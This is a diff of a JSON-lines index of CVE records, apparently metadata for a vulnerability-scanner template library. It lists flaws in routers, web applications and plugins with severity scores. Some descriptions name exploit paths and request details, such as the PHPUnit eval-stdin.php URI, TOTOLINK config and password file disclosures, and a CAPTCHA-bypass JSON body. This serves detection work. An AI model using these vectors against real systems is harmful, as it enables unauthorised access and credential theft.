 {"ID":"CVE-2017-7269","Info":{"Name":"Windows Server 2003 \u0026 IIS 6.0 - Remote Code Execution","Severity":"critical","Description":"Internet Information Services (IIS) 6.0 in Microsoft Windows Server 2003 R2 contains a buffer overflow vulnerability in the ScStoragePathFromUrl function in the WebDAV service that could allow remote attackers to execute arbitrary code via a long header beginning with \"If \u003chttp://\" in a PROPFIND request.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2017/CVE-2017-7269.yaml"}
 {"ID":"CVE-2017-7391","Info":{"Name":"Magmi 0.7.22 - Cross-Site Scripting","Severity":"medium","Description":"Magmi 0.7.22 contains a cross-site scripting vulnerability due to insufficient filtration of user-supplied data (prefix) passed to the magmi-git-master/magmi/web/ajax_gettime.php URL.","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2017/CVE-2017-7391.yaml"}
@@ -509,7 +512,6 @@
 {"ID":"CVE-2017-9805","Info":{"Name":"Apache Struts2 S2-052 - Remote Code Execution","Severity":"high","Description":"The REST Plugin in Apache Struts 2.1.1 through 2.3.x before 2.3.34 and 2.5.x before 2.5.13 uses an XStreamHandler with an instance of XStream for deserialization without any type of filtering, which can lead to remote code execution when deserializing XML payloads.","Classification":{"CVSSScore":"8.1"}},"file_path":"http/cves/2017/CVE-2017-9805.yaml"}
 {"ID":"CVE-2017-9822","Info":{"Name":"DotNetNuke 5.0.0 - 9.3.0 - Cookie Deserialization Remote Code Execution","Severity":"high","Description":"DotNetNuke (DNN) versions between 5.0.0 - 9.3.0 are affected by a deserialization vulnerability that leads to remote code execution.","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2017/CVE-2017-9822.yaml"}
 {"ID":"CVE-2017-9833","Info":{"Name":"BOA Web Server 0.94.14 - Arbitrary File Access","Severity":"high","Description":"BOA Web Server 0.94.14 is susceptible to arbitrary file access. The server allows the injection of \"../..\" using the FILECAMERA variable sent by GET to read files with root privileges and without using access credentials.","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2017/CVE-2017-9833.yaml"}
-{"ID":"CVE-2017-9841","Info":{"Name":"PHPUnit - Remote Code Execution","Severity":"critical","Description":"PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP code via HTTP POST data beginning with a \"\u003c?php \" substring via Util/PHP/eval-stdin.php , as demonstrated by an attack on a site with an exposed /vendor folder, i.e., external access to the /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php URI.","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2017/CVE-2017-9841.yaml"}
 {"ID":"CVE-2017-9965","Info":{"Name":"Schneider Electric Pelco VideoXpert Enterprise 2.0 - Path Traversal","Severity":"medium","Description":"Schneider Electric Pelco VideoXpert Enterprise versions 2.0 and prior contain a directory traversal caused by insufficient input validation, letting unauthorized persons view web server files, exploit requires no authentication.\n","Classification":{"CVSSScore":"5.8"}},"file_path":"http/cves/2017/CVE-2017-9965.yaml"}
 {"ID":"CVE-2018-0127","Info":{"Name":"Cisco RV132W/RV134W Router - Information Disclosure","Severity":"critical","Description":"Cisco RV132W ADSL2+ Wireless-N VPN Routers and Cisco RV134W VDSL2 Wireless-AC VPN Routers could allow an unauthenticated, remote attacker to view configuration parameters for an affected device via the web interface, which could lead to the disclosure of confidential information.","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2018/CVE-2018-0127.yaml"}
 {"ID":"CVE-2018-0296","Info":{"Name":"Cisco ASA - Local File Inclusion","Severity":"high","Description":"Cisco Adaptive Security Appliances (ASA) web interfaces could allow an unauthenticated, remote attacker to cause an affected device to reload unexpectedly, resulting in a denial of service (DoS) condition. It is also possible on certain software releases that the ASA will not reload, but an attacker could view sensitive system information without authentication by using directory traversal techniques. The vulnerability is due to lack of proper input validation of the HTTP URL. An attacker could exploit this vulnerability by sending a crafted HTTP request to an affected device. An exploit could allow the attacker to cause a DoS condition or unauthenticated disclosure of information. This vulnerability applies to IPv4 and IPv6 HTTP traffic. This vulnerability affects Cisco ASA Software and Cisco Firepower Threat Defense (FTD) Software that is running on the following Cisco products: 3000 Series Industrial Security Appliance (ISA), ASA 1000V Cloud Firewall, ASA 5500 Series Adaptive Security Appliances, ASA 5500-X Series Next-Generation Firewalls, ASA Services Module for Cisco Catalyst 6500 Series Switches and Cisco 7600 Series Routers, Adaptive Security Virtual Appliance (ASAv), Firepower 2100 Series Security Appliance, Firepower 4100 Series Security Appliance, Firepower 9300 ASA Security Module, FTD Virtual (FTDv). Cisco Bug IDs: CSCvi16029.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2018/CVE-2018-0296.yaml"}
@@ -566,6 +568,7 @@
 {"ID":"CVE-2018-1273","Info":{"Name":"Spring Data Commons - Remote Code Execution","Severity":"critical","Description":"Spring Data Commons, versions prior to 1.13 to 1.13.10, 2.0 to 2.0.5,\nand older unsupported versions, contain a property binder vulnerability\ncaused by improper neutralization of special elements.\nAn unauthenticated remote malicious user (or attacker) can supply\nspecially crafted request parameters against Spring Data REST backed HTTP resources\nor using Spring Data's projection-based request payload binding hat can lead to a remote code execution attack.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2018/CVE-2018-1273.yaml"}
 {"ID":"CVE-2018-12909","Info":{"Name":"Webgrind \u003c= 1.5 - Local File Inclusion","Severity":"high","Description":"Webgrind 1.5 relies on user input to display a file, which lets anyone view files from the local filesystem (that the webserver user has access to) via an index.php?op=fileviewer\u0026file= URI\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2018/CVE-2018-12909.yaml"}
 {"ID":"CVE-2018-12998","Info":{"Name":"Zoho manageengine - Cross-Site Scripting","Severity":"medium","Description":"Zoho manageengine is vulnerable to reflected cross-site scripting. This impacts  Zoho ManageEngine Netflow Analyzer before build 123137, Network Configuration Manager before build 123128, OpManager before build 123148, OpUtils before build 123161, and Firewall Analyzer before build 123147 via the parameter 'operation' to /servlet/com.adventnet.me.opmanager.servlet.FailOverHelperServlet.","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2018/CVE-2018-12998.yaml"}
+{"ID":"CVE-2018-13317","Info":{"Name":"TOTOLINK A3002RU 1.0.8 - Information Disclosure","Severity":"medium","Description":"TOTOLINK A3002RU firmware version 1.0.8 contains a vulnerability in which an unauthenticated attacker can obtain the plaintext admin password by making a GET request for `password.htm`. This allows remote attackers to gain administrative access without credentials.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2018/CVE-2018-13317.yaml"}
 {"ID":"CVE-2018-1335","Info":{"Name":"Apache Tika \u003c 1.1.8 - Header Command Injection","Severity":"high","Description":"Apache Tika versions 1.7 to 1.17 allow clients to send carefully crafted headers to tika-server that could be used to inject commands into the command line of the server running tika-server. This vulnerability only affects those running tika-server on a server that is open to untrusted clients.","Classification":{"CVSSScore":"8.1"}},"file_path":"http/cves/2018/CVE-2018-1335.yaml"}
 {"ID":"CVE-2018-13379","Info":{"Name":"Fortinet FortiOS - Credentials Disclosure","Severity":"critical","Description":"Fortinet FortiOS 6.0.0 to 6.0.4, 5.6.3 to 5.6.7 and 5.4.6 to 5.4.12 and FortiProxy 2.0.0, 1.2.0 to 1.2.8, 1.1.0 to 1.1.6, 1.0.0 to 1.0.7 under SSL VPN web portal allows an unauthenticated attacker to download system files via special crafted HTTP resource requests due to improper limitation of a pathname to a restricted directory (path traversal).","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2018/CVE-2018-13379.yaml"}
 {"ID":"CVE-2018-13380","Info":{"Name":"Fortinet FortiOS - Cross-Site Scripting","Severity":"medium","Description":"Fortinet FortiOS 6.0.0 to 6.0.4, 5.6.0 to 5.6.7, 5.4.0 to 5.4.12, 5.2 and below versions under SSL VPN web portal are vulnerable to cross-site scripting and allows attacker to execute unauthorized malicious script code via the error or message handling parameters.","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2018/CVE-2018-13380.yaml"}
@@ -818,7 +821,10 @@
 {"ID":"CVE-2019-19411","Info":{"Name":"Huawei Firewall - Local File Inclusion","Severity":"low","Description":"USG9500 with versions of V500R001C30SPC100, V500R001C30SPC200, V500R001C30SPC600, V500R001C60SPC500, V500R005C00SPC100, V500R005C00SPC200 have an information leakage vulnerability. Due to improper processing of the initialization vector used in a specific encryption algorithm, an attacker who gains access to this cryptographic primitive may exploit this vulnerability to cause the value of the confidentiality associated with its use to be diminished.\n","Classification":{"CVSSScore":"3.7"}},"file_path":"http/cves/2019/CVE-2019-19411.yaml"}
 {"ID":"CVE-2019-1943","Info":{"Name":"Cisco Small Business 200,300 and 500 Series Switches - Open Redirect","Severity":"medium","Description":"Cisco Small Business 200,300 and 500 Series Switches contain an open redirect vulnerability in the Web UI. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2019/CVE-2019-1943.yaml"}
 {"ID":"CVE-2019-19781","Info":{"Name":"Citrix ADC and Gateway - Directory Traversal","Severity":"critical","Description":"Citrix Application Delivery Controller (ADC) and Gateway 10.5, 11.1, 12.0, 12.1, and 13.0 are susceptible to directory traversal vulnerabilities.","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2019/CVE-2019-19781.yaml"}
+{"ID":"CVE-2019-19822","Info":{"Name":"TOTOLINK/Realtek Routers - Information Disclosure","Severity":"high","Description":"A certain router administration interface using Realtek APMIB (e.g., on TOTOLINK models) allows unauthenticated remote attackers to disclose the entire router configuration, including sensitive credentials, via accessing the \"config.dat\" file. Affected devices include TOTOLINK A3002RU through 2.0.0, A702R through 2.1.3, N301RT through 2.1.6, N302R through 3.4.0, N300RT through 3.4.0, N200RE through 4.0.0, N150RT through 3.4.0, N100RE through 3.4.0, and other Realtek SDK-based devices.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2019/CVE-2019-19822.yaml"}
+{"ID":"CVE-2019-19823","Info":{"Name":"TOTOLINK/Realtek Routers - Information Disclosure","Severity":"high","Description":"A certain router administration interface using Realtek APMIB (e.g., on TOTOLINK models) allows unauthenticated remote attackers to disclose the entire router configuration, including sensitive credentials, via accessing the \"config.dat\" file. Affected devices include TOTOLINK A3002RU through 2.0.0, A702R through 2.1.3, N301RT through 2.1.6, N302R through 3.4.0, N300RT through 3.4.0, N200RE through 4.0.0, N150RT through 3.4.0, N100RE through 3.4.0, and other Realtek SDK-based devices.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2019/CVE-2019-19823.yaml"}
 {"ID":"CVE-2019-19824","Info":{"Name":"TOTOLINK Realtek SD Routers - Remote Command Injection","Severity":"high","Description":"TOTOLINK Realtek SDK based routers may allow an authenticated attacker to execute arbitrary OS commands via the sysCmd parameter to the boafrm/formSysCmd URI, even if the GUI (syscmd.htm) is not available. This allows for full control over the device's internals. This affects A3002RU through 2.0.0, A702R through 2.1.3, N301RT through 2.1.6, N302R through 3.4.0, N300RT through 3.4.0, N200RE through 4.0.0, N150RT through 3.4.0, and N100RE through 3.4.0.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2019/CVE-2019-19824.yaml"}
+{"ID":"CVE-2019-19825","Info":{"Name":"TOTOLINK/Realtek Routers - CAPTCHA Bypass","Severity":"critical","Description":"On certain TOTOLINK Realtek SDK based routers, the CAPTCHA text can be retrieved via a POST request to the boafrm/formLogin URI with the JSON payload {\"topicurl\":\"setting/getSanvas\"}. This allows an unauthenticated attacker to bypass CAPTCHA verification, gaining unauthorized access to restricted functions. Once valid credentials are known or brute-forced, an attacker can fully control the device using HTTP requests and Basic Authentication. Affected router models include A3002RU through 2.0.0, A702R through 2.1.3, N301RT through 2.1.6, N302R through 3.4.0, N300RT through 3.4.0, N200RE through 4.0.0, N150RT through 3.4.0, N100RE through 3.4.0, and other Realtek SDK-derived devices.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2019/CVE-2019-19825.yaml"}
 {"ID":"CVE-2019-19908","Info":{"Name":"phpMyChat-Plus 1.98 - Cross-Site Scripting","Severity":"medium","Description":"phpMyChat-Plus 1.98 contains a cross-site scripting vulnerability via pmc_username parameter of pass_reset.php in password reset URL.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2019/CVE-2019-19908.yaml"}
 {"ID":"CVE-2019-19985","Info":{"Name":"WordPress Email Subscribers \u0026 Newsletters \u003c4.2.3 - Arbitrary File Retrieval","Severity":"medium","Description":"WordPress Email Subscribers \u0026 Newsletters plugin before 4.2.3 is susceptible to arbitrary file retrieval via a flaw that allows unauthenticated file download and user information disclosure. An attacker can  obtain sensitive information, modify data, and/or execute unauthorized administrative operations.","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2019/CVE-2019-19985.yaml"}
 {"ID":"CVE-2019-20085","Info":{"Name":"TVT NVMS 1000 - Local File Inclusion","Severity":"high","Description":"TVT NVMS-1000 devices allow GET /.. local file inclusion attacks.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2019/CVE-2019-20085.yaml"}
@@ -1512,6 +1518,7 @@
 {"ID":"CVE-2021-33904","Info":{"Name":"Accela Civic Platform \u003c=21.1 - Cross-Site Scripting","Severity":"medium","Description":"Accela Civic Platform through 21.1 contains a cross-site scripting vulnerability via the security/hostSignon.do parameter servProvCode.","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2021/CVE-2021-33904.yaml"}
 {"ID":"CVE-2021-34187","Info":{"Name":"Chamilo model.ajax.php - SQL Injection","Severity":"critical","Description":"main/inc/ajax/model.ajax.php in Chamilo through 1.11.14 allows SQL Injection via the searchField, filters, or filters2 parameter.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2021/CVE-2021-34187.yaml"}
 {"ID":"CVE-2021-34370","Info":{"Name":"Accela Civic Platform \u003c=21.1 - Cross-Site Scripting","Severity":"medium","Description":"Accela Civic Platform through 21.1 contains a cross-site scripting vulnerability via  ssoAdapter/logoutAction.do successURL.","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2021/CVE-2021-34370.yaml"}
+{"ID":"CVE-2021-34427","Info":{"Name":"Eclipse BIRT Viewer - Remote Code Execution","Severity":"critical","Description":"Eclipse BIRT versions 4.8.0 and earlier contain a JSP injection caused by query parameters, letting remote attackers create and access malicious JSP files in the viewer directory, exploit requires sending crafted query parameters.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2021/CVE-2021-34427.yaml"}
 {"ID":"CVE-2021-34429","Info":{"Name":"Eclipse Jetty - Information Disclosure","Severity":"medium","Description":"Eclipse Jetty 9.4.37-9.4.42, 10.0.1-10.0.5 and 11.0.1-11.0.5 are susceptible to improper authorization. URIs can be crafted using some encoded characters to access the content of the WEB-INF directory and/or bypass some security constraints. An attacker can potentially obtain sensitive information, modify data, and/or execute unauthorized administrative operations. This is a variation of the vulnerability reported in CVE-2021-28164/GHSA-v7ff-8wcx-gmc5.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2021/CVE-2021-34429.yaml"}
 {"ID":"CVE-2021-34473","Info":{"Name":"Exchange Server - Remote Code Execution","Severity":"critical","Description":"Microsoft Exchange Server is vulnerable to a remote code execution vulnerability. This CVE ID is unique from CVE-2021-31196, CVE-2021-31206.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2021/CVE-2021-34473.yaml"}
 {"ID":"CVE-2021-34621","Info":{"Name":"WordPress ProfilePress  3.0.0-3.1.3 - Admin User Creation Weakness","Severity":"critical","Description":"ProfilePress WordPress plugin  is susceptible to a vulnerability in the user registration component in the ~/src/Classes/RegistrationAuth.php file that makes it possible for users to register on sites as an administrator.","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2021/CVE-2021-34621.yaml"}
@@ -1615,6 +1622,7 @@
 {"ID":"CVE-2021-41293","Info":{"Name":"ECOA Building Automation System - Arbitrary File Retrieval","Severity":"high","Description":"The ECOA BAS controller suffers from an arbitrary file disclosure vulnerability. Using the 'fname' POST parameter in viewlog.jsp, attackers can disclose arbitrary files on the affected device and disclose sensitive and system information.","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2021/CVE-2021-41293.yaml"}
 {"ID":"CVE-2021-41349","Info":{"Name":"Microsoft Exchange Server Pre-Auth POST Based Cross-Site Scripting","Severity":"medium","Description":"Microsoft Exchange Server is vulnerable to a spoofing vulnerability. Be aware this CVE ID is unique from CVE-2021-42305.","Classification":{"CVSSScore":"6.5"}},"file_path":"http/cves/2021/CVE-2021-41349.yaml"}
 {"ID":"CVE-2021-41381","Info":{"Name":"Payara Micro Community 5.2021.6 Directory Traversal","Severity":"high","Description":"Payara Micro Community 5.2021.6 and below contains a directory traversal vulnerability.","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2021/CVE-2021-41381.yaml"}
+{"ID":"CVE-2021-41419","Info":{"Name":"QVIS NVR/DVR - Remote Code Execution","Severity":"critical","Description":"QVIS NVR DVR before 2021-12-13 is vulnerable to Remote Code Execution via Java deserialization.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2021/CVE-2021-41419.yaml"}
 {"ID":"CVE-2021-41432","Info":{"Name":"FlatPress 1.2.1 - Stored Cross-Site Scripting","Severity":"medium","Description":"FlatPress 1.2.1 contains a stored cross-site scripting vulnerability that allows for arbitrary execution of JavaScript commands through blog content. An attacker can possibly steal cookie-based authentication credentials and launch other attacks.\n","Classification":{"CVSSScore":"5.4"}},"file_path":"http/cves/2021/CVE-2021-41432.yaml"}
 {"ID":"CVE-2021-41460","Info":{"Name":"ECShop 4.1.0 - SQL Injection","Severity":"high","Description":"ECShop 4.1.0 has SQL injection vulnerability, which can be exploited by attackers to obtain sensitive information.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2021/CVE-2021-41460.yaml"}
 {"ID":"CVE-2021-41467","Info":{"Name":"JustWriting - Cross-Site Scripting","Severity":"medium","Description":"A cross-site scripting vulnerability in application/controllers/dropbox.php in JustWriting 1.0.0 and below allow remote attackers to inject arbitrary web script or HTML via the challenge parameter.","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2021/CVE-2021-41467.yaml"}
@@ -1653,6 +1661,7 @@
 {"ID":"CVE-2021-43574","Info":{"Name":"Atmail 6.5.0 - Cross-Site Scripting","Severity":"medium","Description":"Atmail 6.5.0 contains a cross-site scripting vulnerability in WebAdmin Control Pane via the format parameter to the default URI, which allows remote attackers to inject arbitrary web script or HTML via the “format” parameter.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2021/CVE-2021-43574.yaml"}
 {"ID":"CVE-2021-43725","Info":{"Name":"Spotweb \u003c= 1.5.1 - Cross Site Scripting (Reflected)","Severity":"medium","Description":"There is a Cross Site Scripting (XSS) vulnerability in SpotPage_login.php of Spotweb 1.5.1 and below, which allows remote attackers to inject arbitrary web script or HTML via the data[performredirect] parameter.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2021/CVE-2021-43725.yaml"}
 {"ID":"CVE-2021-43734","Info":{"Name":"kkFileview v4.0.0 - Local File Inclusion","Severity":"high","Description":"kkFileview v4.0.0 is vulnerable to local file inclusion which may lead to a sensitive file leak on a related host.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2021/CVE-2021-43734.yaml"}
+{"ID":"CVE-2021-4374","Info":{"Name":"WordPress Automatic Plugin - Unauthenticated Options Change","Severity":"critical","Description":"WordPress Automatic Plugin (versions 3.53.2 and below) contains a critical vulnerability that allows unauthenticated users to change arbitrary WordPress options through the process_form.php script. The vulnerable script uses update_option() on all POST parameters without authentication or capability checks, allowing attackers to create administrator accounts or modify critical settings. The vulnerability can be exploited even if the plugin is deactivated as it's a standalone script.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2021/CVE-2021-4374.yaml"}
 {"ID":"CVE-2021-43778","Info":{"Name":"GLPI plugin Barcode \u003c 2.6.1 - Path Traversal Vulnerability.","Severity":"high","Description":"Barcode is a GLPI plugin for printing barcodes and QR codes. GLPI instances version 2.x prior to version 2.6.1 with the barcode plugin installed are vulnerable to a path traversal vulnerability.","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2021/CVE-2021-43778.yaml"}
 {"ID":"CVE-2021-43798","Info":{"Name":"Grafana v8.x - Arbitrary File Read","Severity":"high","Description":"Grafana versions 8.0.0-beta1 through 8.3.0 are vulnerable to a local directory traversal, allowing access to local files. The vulnerable URL path is `\u003cgrafana_host_url\u003e/public/plugins/NAME/`, where NAME is the plugin ID for any installed plugin.","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2021/CVE-2021-43798.yaml"}
 {"ID":"CVE-2021-4380","Info":{"Name":"Pinterest Automatic \u003c 4.14.4 - Unauthenticated Arbitrary Options Update","Severity":"critical","Description":"The Pinterest Automatic plugin for WordPress is vulnerable to authorization bypass due to missing capability checks on the 'wp_pinterest_automatic_parse_request' function and the 'process_form.php' script in versions up to, and including, 1.14.3. This makes it possible for unauthenticated attackers to update arbitrary options on a site that can be used to create new administrative user accounts or redirect unsuspecting site visitors.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2021/CVE-2021-4380.yaml"}
@@ -1981,6 +1990,7 @@
 {"ID":"CVE-2022-29013","Info":{"Name":"Razer Sila Gaming Router - Remote Code Execution","Severity":"critical","Description":"A command injection in the command parameter of Razer Sila Gaming Router v2.0.441_api-2.0.418 allows attackers to execute arbitrary commands via a crafted POST request.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2022/CVE-2022-29013.yaml"}
 {"ID":"CVE-2022-29014","Info":{"Name":"Razer Sila Gaming Router 2.0.441_api-2.0.418 - Local File Inclusion","Severity":"high","Description":"Razer Sila Gaming Router 2.0.441_api-2.0.418 is vulnerable to local file inclusion which could allow attackers to read arbitrary files.","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2022/CVE-2022-29014.yaml"}
 {"ID":"CVE-2022-29078","Info":{"Name":"Node.js Embedded JavaScript 3.1.6 - Template Injection","Severity":"critical","Description":"Node.js Embedded JavaScript 3.1.6 is susceptible to server-side template injection via settings[view options][outputFunctionName], which is parsed as an internal option and overwrites the outputFunctionName option with an arbitrary OS command, which is then executed upon template compilation.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2022/CVE-2022-29078.yaml"}
+{"ID":"CVE-2022-29081","Info":{"Name":"Zoho ManageEngine - Access Control Bypass","Severity":"critical","Description":"Zoho ManageEngine Access Manager Plus before 4302, Password Manager Pro before 12007, and PAM360 before 5401 are vulnerable to access-control bypass on a few Rest API URLs (for SSOutAction. SSLAction. LicenseMgr. GetProductDetails. GetDashboard. FetchEvents. and Synchronize) via the ../RestAPI substring.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2022/CVE-2022-29081.yaml"}
 {"ID":"CVE-2022-29153","Info":{"Name":"HashiCorp Consul/Consul Enterprise - Server-Side Request Forgery","Severity":"high","Description":"HashiCorp Consul and Consul Enterprise up to 1.9.16, 1.10.9, and 1.11 are susceptible to server-side request forgery. When redirects are returned by HTTP health check endpoints, Consul follows these HTTP redirects by default. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2022/CVE-2022-29153.yaml"}
 {"ID":"CVE-2022-29272","Info":{"Name":"Nagios XI \u003c5.8.5 - Open Redirect","Severity":"medium","Description":"Nagios XI through 5.8.5 contains an open redirect vulnerability in the login function. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2022/CVE-2022-29272.yaml"}
 {"ID":"CVE-2022-29298","Info":{"Name":"SolarView Compact 6.00 - Local File Inclusion","Severity":"high","Description":"SolarView Compact 6.00 is vulnerable to local file inclusion which could allow attackers to access sensitive files.","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2022/CVE-2022-29298.yaml"}
@@ -2238,6 +2248,7 @@
 {"ID":"CVE-2022-48323","Info":{"Name":"Sunflower Simple and Personal 1.0.1.43315 - Remote Code Execution","Severity":"critical","Description":"Sunlogin Sunflower Simplified (aka Sunflower Simple and Personal) 1.0.1.43315 is vulnerable to a path traversal issue. A remote and unauthenticated attacker can execute arbitrary programs on the victim host by sending a crafted HTTP request, as demonstrated by /check?cmd=ping../ followed by the pathname of the powershell.exe program.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2022/CVE-2022-48323.yaml"}
 {"ID":"CVE-2022-4897","Info":{"Name":"WordPress BackupBuddy \u003c8.8.3 - Cross Site Scripting","Severity":"medium","Description":"WordPress BackupBuddy plugin before 8.8.3 contains a cross-site vulnerability. The plugin does not sanitize and escape some parameters before outputting them back in various locations. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2022/CVE-2022-4897.yaml"}
 {"ID":"CVE-2022-4971","Info":{"Name":"Sassy Social Share \u003c= 3.3.3 - Cross-Site Scripting","Severity":"medium","Description":"The Sassy Social Share plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'urls' parameter called via the 'heateor_sss_sharing_count' AJAX action in versions up to, and including, 3.3.3 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2022/CVE-2022-4971.yaml"}
+{"ID":"CVE-2021-4449","Info":{"Name":"ZoomSounds Plugin - Unauthenticated Arbitrary File Upload","Severity":"critical","Description":"ZoomSounds plugin for WordPress contains a file upload vulnerability in savepng.php\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2023/CVE-2021-4449.yaml"}
 {"ID":"CVE-2023-0037","Info":{"Name":"WordPress 10Web Map Builder \u003c 1.0.73 - Unauthenticated SQL Injection","Severity":"critical","Description":"The 10Web Map Builder for Google Maps WordPress plugin before 1.0.73 does not properly sanitise and escape some parameters before using them in an SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2023/CVE-2023-0037.yaml"}
 {"ID":"CVE-2023-0099","Info":{"Name":"Simple URLs \u003c 115 - Cross Site Scripting","Severity":"medium","Description":"The plugin does not sanitise and escape some parameters before outputting them back in some pages, leading to Reflected Cross-Site Scripting which could be used against high privilege users such as admin.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2023/CVE-2023-0099.yaml"}
 {"ID":"CVE-2023-0126","Info":{"Name":"SonicWall SMA1000 LFI","Severity":"high","Description":"Pre-authentication path traversal vulnerability in SMA1000 firmware version 12.4.2, which allows an unauthenticated attacker to access arbitrary files and directories stored outside the web root directory.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2023/CVE-2023-0126.yaml"}
@@ -2552,6 +2563,7 @@
 {"ID":"CVE-2023-39109","Info":{"Name":"rConfig 3.9.4 - Server-Side Request Forgery","Severity":"high","Description":"rconfig v3.9.4 was discovered to contain a Server-Side Request Forgery (SSRF) via the path_a parameter in the doDiff Function of /classes/compareClass.php. This vulnerability allows authenticated attackers to make arbitrary requests via injection of crafted URLs.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2023/CVE-2023-39109.yaml"}
 {"ID":"CVE-2023-39110","Info":{"Name":"rConfig 3.9.4 - Server-Side Request Forgery","Severity":"high","Description":"rconfig v3.9.4 was discovered to contain a Server-Side Request Forgery (SSRF) via the path parameter at /ajaxGetFileByPath.php. This vulnerability allows authenticated attackers to make arbitrary requests via injection of crafted URLs.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2023/CVE-2023-39110.yaml"}
 {"ID":"CVE-2023-39120","Info":{"Name":"Nodogsplash - Directory Traversal","Severity":"high","Description":"Nodogsplash product was affected by a directory traversal vulnerability that also impacted the OpenWrt product. This vulnerability was addressed in Nodogsplash version 5.0.1. Exploiting this vulnerability, remote attackers could read arbitrary files from the target system.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2023/CVE-2023-39120.yaml"}
+{"ID":"CVE-2023-39121","Info":{"Name":"Emlog 2.1.9 - SQL Injection","Severity":"high","Description":"emlog v2.1.9 contains a SQL injection caused by unsanitized input in the data backup/restore functionality, allowing attackers to execute arbitrary SQL commands through crafted backup files.\n","Classification":{"CVSSScore":"7.2"}},"file_path":"http/cves/2023/CVE-2023-39121.yaml"}
 {"ID":"CVE-2023-39141","Info":{"Name":"Aria2 WebUI - Path traversal","Severity":"high","Description":"webui-aria2 commit 4fe2e was discovered to contain a path traversal vulnerability.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2023/CVE-2023-39141.yaml"}
 {"ID":"CVE-2023-39143","Info":{"Name":"PaperCut \u003c 22.1.3 - Path Traversal","Severity":"critical","Description":"PaperCut NG and PaperCut MF before 22.1.3 are vulnerable to path traversal which enables attackers to read, delete, and upload arbitrary files.","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2023/CVE-2023-39143.yaml"}
 {"ID":"CVE-2023-3936","Info":{"Name":"Blog2Social \u003c 7.2.1 - Cross-Site Scripting","Severity":"medium","Description":"The Blog2Social WordPress plugin before 7.2.1 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2023/CVE-2023-3936.yaml"}
@@ -2759,6 +2771,8 @@
